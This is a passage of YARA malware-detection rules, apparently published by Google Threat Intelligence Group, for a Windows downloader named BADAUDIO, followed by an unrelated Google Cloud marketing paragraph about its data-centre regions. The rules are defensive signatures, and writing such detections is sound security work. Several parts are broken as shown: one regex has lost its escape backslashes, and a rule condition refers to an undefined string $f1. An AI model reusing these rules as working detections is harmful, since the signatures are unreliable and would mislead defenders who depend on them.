		uint16(0) == 0x5a4d and all of ($s*) and #control_flow_obfuscation > 2 and ($c_string_decode or (#c_part_of_control_flow_obfuscation_and_string_decode > 5 and #c_part_of_control_flow_obfuscation_and_string_decode > 20))
}

rule G_APT_DOWNLOADER_BADAUDIO_3 {
  meta:
    	author = "Google Threat Intelligence Group (GTIG)"
  strings:

    $s1 = "SystemFunction036"
    
    $s2 = "6666666666666666\\\\\\\\\"

    $dc1 = {C1 C2 1A ?? ?? C1 C3 15 31 D3 ?? ?? C1 C2 07}

    $dc2 = {C1 C1 1E ?? ?? C1 C6 13 ?? ?? C1 C0 0A 31}

    $dc3 = {C1 C5 19 C1 C7 0E 01 ?? ?? ?? 31 EF C1 EB 03 31}
    
    $dc4 = {C1 C7 0F 8B ?? ?? ?? ?? ?? C1 C3 0D 31 FB C1 EA 0A 31}
    
    $f2 = /x0Fx4CxC1x3D[x01-xFF].{3}([x70-x7f].|x0f[x80-x8f].{4})x3D[x01-xFF].{3}([x70-x7f].|x0f[x80-x8f].{4})x3D[x01-xFF].{3}([x70-x7f].|x0f[x80-x8f].{4})x3D[x01-xFF].{3}([x70-x7f].|x0f[x80-x8f].{4})x3D[x01-xFF].{3}([x70-x7f].|x0f[x80-x8f].{4})/
  condition:
    all of ($s*) and 3 of ($dc*) and uint16(0) == 0x5A4D and (#f1 > 5 or #f2 > 2) and filesize<10MB
}

rule G_APT_DOWNLOADER_BADAUDIO_4 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $p00_0 = {8d4d??e8[4]8b7d??83c6??eb??c745[5]e8[4]8b4d??64890d}
        $p00_1 = {568b7c24??8b7424??8b5424??89f1e8[4]f20f1007f20f104f??f20f118e}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (0..1100000) and $p00_1 in (0..990000))
        )
}

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With 42 regions and 127 zones currently in operation around the world, Google Cloud’s global network of cloud regions forms the foundation to support customers of all sizes and across industries. From retail and media and entertainment to financial services, healthcare and the public sector, leading organizations come to Google Cloud as their trusted technology partner. 

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